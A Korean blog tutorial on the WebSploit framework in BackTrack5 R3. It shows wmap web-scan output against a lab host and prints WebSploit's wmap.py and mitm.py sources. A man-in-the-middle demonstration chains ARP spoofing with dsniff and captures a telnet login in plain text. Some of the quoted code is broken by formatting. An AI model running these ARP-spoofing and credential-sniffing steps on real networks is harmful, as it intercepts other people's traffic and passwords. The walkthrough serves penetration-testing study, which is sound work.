Open Source/BackTrack

[BackTrack5 R3] WebSploit

DarkSoul.Story 2013. 2. 5. 17:09
반응형




개요


WebSploit Framework는 원격 시스템을 스캔 및 분석하는 데 사용되는 오픈 소스 프로젝트로 다양한 취약점을 찾는다. WebSploit Framework는 매우 강력하며, 아래와 같은 도구들과 많은 취약점(취약점 공격)을 지원한다. (버전 1.9 기준)

 

* Autopwn : 메타스플로잇(Metasploit)을 이용 대상 시스템의 서비스를 스캔하고, 익스플로잇(Exploit) 한다.

wmap : 메타스플로잇(Metasploit) wmap plugin을 이용하여, 대상 시스템을 스캔 및 크롤러(Crawler) 한다. 


WMAP ?

원래 SQLMap라는 도구에서 생성 된 풍부한 기능을 가진 웹 취약점 스캐너


* format infector : 파일 포멧으로 페이로드(payload)를 리버스(reverse) / 바인드(bind)로  삽입(inject) 한다.

* phpmyadmin : 대상 시스템의 phpmyadmin 로그인 페이지를 찾는다.

* lfi :  local file inclusion 취약점을 스캔하거나, 일부 웹어플리케이션 방화벽(WAF:웹방화벽)우회 할 수 있다.

* apache users : Apache 웹서버의 username directory를 찾는다.

* Dir Bruter : wordlist를 이용하여, 대상 시스템의 디렉터리를 찾는다.

* admin finder : 대상 시스템의 admin 로그인 페이지를 찾는다.

* MLITM Attack  : Man Left In The Middle , XSS Phishing Attacks


Man Left In The Middle attack

utilizes HTTP REFERERS on an already compromised site or XSS vulnerability to pass the credentials back to the HTTP server.

In this instance if you find a XSS vulnerability and send the URL to the victim and they click, the website will operate 100 percent however when they go to log into the system, it will pass the credentials back to the attacker and harvest the credentials. 


http://www.social-engineer.org/


* MITM - Man In The Middle Attack

* Java Applet Attack : Java Signed Applet Attack

* MFOD Attack Vector : Middle Finger Of Doom Attack Vector

* USB Infection Attack :  Windows에서 USB를 감염시켜 실행하는 백도어를 만들수 있다.

* ARP DOS : 임의의 랜덤 MAC을 만들어 ARP Cache DoS(Denial Of Service) Attack을 진행 한다.

* Web Killer Attack : 대상 웹 서버를 Down 시킨다. (TCP Kill)

* Fake Update Attack  : 대상 OS의 가짜 업데이트 페이지 만든다.

* Fake Access point Attack :  Fake AP를 만들고, Victims의 정보를 Sniff 한다.


테스트 환경 

 운영 체제 (OS) : BackTrack5 R3

                         WebSploit Ver.1.9


상세 분석



WebSite Attack Vector는 메타스플로잇의 Wmap 플러그인을 이용하여, 대상 웹 사이트를 공격한다. 사용방법은 [1] WebSite Attack Vector를 선택하면, 아래와 같이 Target 시스템의 IP를 입력한다.



IP를 입력하였으면, 메타스플로잇에서 wmap plugin을 자동으로 시작한다. 위와 같은 상태로 잠시 멈춰있는데, 이는 메타스플로잇에서 wmap plugin을 시작하는데는 약간의 시간이 필요 하기 때문에 멈춰 있다고 강제 종료하는 일은 없도록 한다.

 

메타스플로잇에서 wmap plugin이 시작되면, 아래와 같이  입력한 IP를 이용하여 자동으로 공격에 필요한 기본 정보를 세팅한다.



자동으로 기본 정보 세팅이 완료되면, 다음으로 진행되는것이 원격시스템을 스캔하는데 사용되는 모듈 로드한다.

wmap plugin은 /opt/metasploit/apps/pro/msf3/plugins/wmap.rb로 존재하며, wmap.rb의 소스코드에 대해서는 각자 한번씩 살펴봐도 좋을것 같다.



테스트 웹 서버를 기준으로 모듈 정보는 아래와 같다.


=[ SSL testing ]=

============================================================

[*] Target is not SSL. SSL modules disabled.

[*]

=[ Web Server testing ]=

============================================================

[*] Module auxiliary/scanner/http/http_version

[*] Module auxiliary/scanner/http/open_proxy

[*] Module auxiliary/scanner/http/robots_txt

[*] Module auxiliary/scanner/http/frontpage_login

[*] Module auxiliary/admin/http/tomcat_administration

[*] Module auxiliary/admin/http/tomcat_utf8_traversal

[*] Module auxiliary/scanner/http/options

[*] Module auxiliary/scanner/http/drupal_views_user_enum

[*] Module auxiliary/scanner/http/scraper

[*] Module auxiliary/scanner/http/svn_scanner

[*] Module auxiliary/scanner/http/trace

[*] Module auxiliary/scanner/http/vhost_scanner

[*] Module auxiliary/scanner/http/webdav_internal_ip

[*] Module auxiliary/scanner/http/webdav_scanner

[*] Module auxiliary/scanner/http/webdav_website_content

[*]

=[ File/Dir testing ]=

============================================================

[*] Module auxiliary/scanner/http/backup_file

[*] Module auxiliary/scanner/http/brute_dirs

[*] Module auxiliary/scanner/http/copy_of_file

[*] Module auxiliary/scanner/http/dir_listing

[*] Module auxiliary/scanner/http/dir_scanner

[*] Module auxiliary/scanner/http/dir_webdav_unicode_bypass

[*] Module auxiliary/scanner/http/file_same_name_dir

[*] Module auxiliary/scanner/http/files_dir

[*] Module auxiliary/scanner/http/http_put

[*] Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass

[*] Module auxiliary/scanner/http/prev_dir_same_name_file

[*] Module auxiliary/scanner/http/replace_ext

[*] Module auxiliary/scanner/http/soap_xml

[*] Module auxiliary/scanner/http/trace_axd

[*] Module auxiliary/scanner/http/verb_auth_bypass

[*]

=[ Unique Query testing ]=

============================================================

[*] Module auxiliary/scanner/http/blind_sql_query

[*] Module auxiliary/scanner/http/error_sql_injection

[*] Module auxiliary/scanner/http/http_traversal

[*] Module auxiliary/scanner/http/rails_mass_assignment

[*] Module exploit/multi/http/lcms_php_exec

[*]

=[ Query testing ]=

============================================================

[*]

=[ General testing ]=

============================================================

[*] Done.

 

 

wmap plugin 모듈들이 로드가 완료되면, 로드된 모듈을 이용하여 테스트를 시작한다. 아래는 [Web Server Testing] 모듈의 테스트 내용이다.

 

=[ Web Server testing ]=

============================================================

[*] Module auxiliary/scanner/http/http_version

[*] 192.168.119.133:80 Apache

[*] Module auxiliary/scanner/http/open_proxy

[*] Module auxiliary/scanner/http/robots_txt

[*] Module auxiliary/scanner/http/frontpage_login

[*] http://192.168.119.133/ may not support FrontPage Server Extensions

[*] Module auxiliary/admin/http/tomcat_administration

[*] Module auxiliary/admin/http/tomcat_utf8_traversal

[*] Attempting to connect to 192.168.119.133:80

[+] No File(s) found

[*] Module auxiliary/scanner/http/options

[*] Module auxiliary/scanner/http/drupal_views_user_enum

[*] 192.168.119.133 does not appear to be vulnerable, will not continue

[*] Module auxiliary/scanner/http/scraper

[*] [192.168.119.133] / [״�����3]

[*] Module auxiliary/scanner/http/svn_scanner

[*] Using code '404' as not found.

[*] Module auxiliary/scanner/http/trace

[+] 192.168.119.133:80-->200

[+] Response Headers:

 Date: Thu, 22 Nov 2012 05:56:28 GMT

Server: Apache

Connection: close

Content-Type: message/http

 

 

[+] Response Body:

 TRACE / HTTP/1.0

Host: 192.168.119.133

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Cookie: did you echo me back?

 

 

[+] TRACE appears to be enabled on 192.168.119.133:80

 

[*] Module auxiliary/scanner/http/vhost_scanner

[*]  >> Exception during launch from auxiliary/scanner/http/vhost_scanner: The following options failed to validate: DOMAIN.

[*] Module auxiliary/scanner/http/webdav_internal_ip

[*] Module auxiliary/scanner/http/webdav_scanner

[*] 192.168.119.133 (Apache) WebDAV disabled.

[*] Module auxiliary/scanner/http/webdav_website_content

[*]

 

로드된 모듈을 이용하여, 모든 스캔을 완료하면 아래와 같이 스캔에 걸린 시간을 표시해주고 자동으로 종료한다.


============================================================

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Launch completed in 335.8681638240814 seconds.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[*] Done.

resource (websploit_wmap.rc)> exit -y

 

wmap plugin이 각 모듈을 테스트하는 단계를 제외한 지금까지 내용을 소스코드를 살펴 보면 다음과 같다.(/pentest/exploits/websploit/modules/wmap.py)


import os

from core import wcolors

from time import sleep

def wmap():

        try:

                print(wcolors.color.YELLOW + "[*]Wmap Section, Scan & Check Target Services" + wcolors.color.ENDC)

                line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC

                line_1 += ":"

                line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Wmap" + wcolors.color.ENDC

                line_1 += " > Enter Target IP Address : " 

                target_ip = raw_input(line_1)  // IP를 입력 받음

                print(wcolors.color.YELLOW + "[*]Engine Has Been Started." + wcolors.color.ENDC)

                sleep(2)

                os.chdir('//tmp')

                check_tmp = os.listdir(os.curdir)

                if 'websploit_wmap.rc' in check_tmp:

                        os.system('rm -rf websploit_wmap.rc')

                myfile = open ('websploit_wmap.rc', 'w')      

                myfile.write('workspace -d websploit-wmap\n'

                myfile.write('workspace -a websploit-wmap\n')

                myfile.write('load wmap\n'// msf에 wmap 플러그인 로드 

                myfile.write('sleep 3\n')

                myfile.write('wmap_targets -c\n')//대상 사이트 정보 삭제

                myfile.write('wmap_sites -a '+ target_ip + '\n')// 대상 사이트 추가 (URL)

                myfile.write('wmap_targets -t '+ target_ip + '\n')// 대상 추가 

                myfile.write('wmap_run -t\n') // 원격시스템을 스캔하는데 사용되는 모듈 로드

                myfile.write('sleep 3\n')

                myfile.write('wmap_run -e\n'//로드된 모듈을 이용하여 실제 대상을 스캔

                myfile.write('exit -y\n')

                myfile.close()

                os.system ('msfconsole -r websploit_wmap.rc'

        except(KeyboardInterrupt):

                print ""


wmap.py은 /opt/metasploit/apps/pro/msf3/plugins/wmap.rb에 입력되는 명령어를 자동으로 입력해 주는 역할을 한다.


참고로 아래는 메타스플로잇을 이용하여 wmap.py에서 입력한 값을 똑같이 사용한 내용이다.  


1. wmap plugin을 메타스플로잇에 로드



2. 대상 사이트 정보 삭제



3. 대상 사이트 추가




4. 대상 추가



5. 원격시스템을 스캔하는데 사용되는 모듈 로드



(생략)


6. 로드된 모듈을 이용하여 실제 대상을 스캔


(Web Server testing 이후 생략)

 

7 . 스캔 완료




Network Attack Vector에는 다음과 같은 공격이 존재한다.

 

MITM    : Man In The Middle Attack

MLITM  : Man Left In The Middle,XSS Phishing Attack

Java Applet Attack : Java Signed Applet Attack

MFOD     : Middle Finger Of Doom Attack

ARP DOS :  ARP Cache Denial Of Service Attack (랜덤으로 MAC 생성)

Web Killer : TCPKill을 이용하여, WebSite의 Network를 Down 시킴


1. MITM (Man In The Middle Attack)

MITM (Man In The Middle Attack)이란 서로 통신하고 있는 두 시스템 사이에 끼어들어 각 시스템에서 교환하는 정보를 자기 것과 바꾸어버림으로써 들키지 않고 도청을 하거나 통신내용을 바꾸는 수법을 말한다.



WebSploit에서 [2] Network Attack Vector - [1]MITM 을 선택하면, 아래와 같이 MITM 공격에 필요한 네트워크 인터페이스, 라우터 IP, 타겟 IP를 입력 받는다.



[*]Man In The Middle Attack

[*]Sniff Victim Information In Your Network

[*]Enter Interface Name (ex : eth0 ,eth1 ,wlan0)

wsf:MITM > Enter Your Interface Name : eth1

wsf:MITM > Enter Router IP Address : 192.168.119.1

wsf:MITM > Enter Target IP Address : 192.168.119.140


MITM 공격에 필요한 정보를 모두 입력하면, 아래와 같이 Sniff할 내용을 선택한다.











Sniffers            Description

------------         -------------

[1]DSniffer         Sniff All Passwords

[2]Msgsnarf       Sniff All Text Of Victim Messengers

[3]Urlsnarf         Sniff Victim Links

[4]Driftnet         Sniff Victim Images


여기서는 DSniffer와 Urlsnarf를 테스트 해보겠다.

 

라우터 IP : 192.168.119.1

타겟 시스템 IP : 192.168.119.140

 

[1]Dsniffer를 선택 하면, IP Forwading과 ARP SPoofing을 자동으로 실행 시키고,  dsniffer을 listening 하는것을 볼 수 있다.



타겟 시스템에 Telnet등으로 접속을 하면, 해당 내용을 Sniff 하고 있다가 접속을 종료 하면 아래와 같이 정보를 확인 할 수 있다.



[*]Sniffer Starting ...

dsniff: listening on eth1

-----------------

11/23/12 01:53:12 tcp 192.168.119.150.37258 -> 192.168.119.140.23 (telnet)

toor

root

ls

ifxonconfig

exit

 

[3]Urlsnarf  를 선택 하면, IP Forwading과 ARP SPoofing을 자동으로 실행 시키고, Urlsnarf을 listening 하는것을 볼 수 있다.



타겟 시스템이 웹에 접속을 하는 경우 URL 정보를 Sniff 한다.




지금까지의 내용을 소스코드로 살펴 보겠다.

/pentest/exploits/websploit/modules/mitm.py로 존재하며, 소스코드는 아래와 같다.

#!/usr/bin/env python

#

# WebSploit Toolkit Man In The Middle (MITM) module

# Created By 0x0ptim0us (Fardin Allahverdinazhand)

# Email : 0x0ptim0us@Gmail.Com

 

import os

from core import wcolors

from time import sleep

 

def mitm():

        try:

                print ""

                print (wcolors.color.YELLOW + "[*]Man In The Middle Attack")

                print ("[*]Sniff Victim Information In Your Network")

                print ("[*]Enter Interface Name (ex : eth0 ,eth1 ,wlan0)" + wcolors.color.ENDC)

                line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC

                line_1 += ":"

                line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "MITM" + wcolors.color.ENDC

                line_1 += " > Enter Your Interface Name : "

                interface_name = raw_input(line_1)

                line_2 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC

                line_2 += ":"

                line_2 += wcolors.color.UNDERL + wcolors.color.BLUE + "MITM" + wcolors.color.ENDC

                line_2 += " > Enter Router IP Address : "

                router_ip = raw_input(line_2)

                line_3 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC

                line_3 += ":"

                line_3 += wcolors.color.UNDERL + wcolors.color.BLUE + "MITM" + wcolors.color.ENDC

                line_3 += " > Enter Target IP Address : "

                target_ip = raw_input(line_3)

                print ""

                print "\tSniffers\t\t Description"

                print "\t------------\t\t--------------"

                print "\t[1]DSniffer\t\t Sniff All Passwords"

                print "\t[2]Msgsnarf\t\t Sniff All Text Of Victim Messengers"

print "\t[3]Urlsnarf\t\t Sniff Victim Links"

                print "\t[4]Driftnet\t\t Sniff Victim Images"

                print ""

                line_4 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC

                line_4 += ":"

                line_4 += wcolors.color.UNDERL + wcolors.color.BLUE + "MITM" + wcolors.color.ENDC

                line_4 += " > Enter Sniffer ID : "

                sniffer = raw_input(line_4)

                if sniffer =='1':

                        selected_sniffer = 'dsniff -i ' + interface_name//

dsniff 인터페이스 설정

                if sniffer =='2':

                        selected_sniffer = 'msgsnarf -i ' + interface_name//msgsnarf 인터페이스 설정 

                if sniffer =='3':

                        selected_sniffer = 'urlsnarf -i ' + interface_name//

urlsnarf 인터페이스 설정

                if sniffer =='4':

                        selected_sniffer = 'driftnet -i ' + interface_name//

driftnet 인터페이스 설정

                sleep(2)

                print (wcolors.color.RED + "[*]IP Forwarding ... " + wcolors.color.ENDC)

                ip_forwarding = 'xterm -T "WebSploit - Port Forwarding ..." -e "echo 1 >

 /proc/sys/net/ipv4/ip_forward"' 

//IP Forward 실행

                os.system(ip_forwarding)

                sleep(2)

                print (wcolors.color.RED + "[*]ARP Spoofing ... " + wcolors.color.ENDC)

                arp_spoofing1 = 'xterm -e arpspoof -i ' + interface_name + ' -t ' + target_ip +' '

+ router_ip + ' &' 

//arpspoof 실행 (Target - Router)

                os.system(arp_spoofing1)

                sleep(2)

                arp_spoofing2 = 'xterm -e arpspoof -i ' + interface_name + ' -t ' + router_ip +' '

+ target_ip + ' $' 

//arpspoof 실행 (Router - Target)

                os.system(arp_spoofing2)

                sleep(2)

                print (wcolors.color.BLUE + "[*]Sniffer Starting ..." + wcolors.color.ENDC)

                os.system(selected_sniffer)

        except(KeyboardInterrupt):

                print "" 




** 조금더 테스트 해봐야겠습니다. 나머지 기능들이 버그인지 잘 안되네요.ㅠ


반응형

'Open Source > BackTrack' 카테고리의 다른 글

[BackTrack5 R1] TShark  (0) 2013.02.12
[BackTrack5 R3] Lynis  (0) 2013.02.12
[BackTrack5 R1] Xplico  (0) 2013.02.05
[BackTrack5 R1] Tcpreplay  (0) 2013.02.05
[BackTrack5 R2] extundelete  (0) 2013.02.04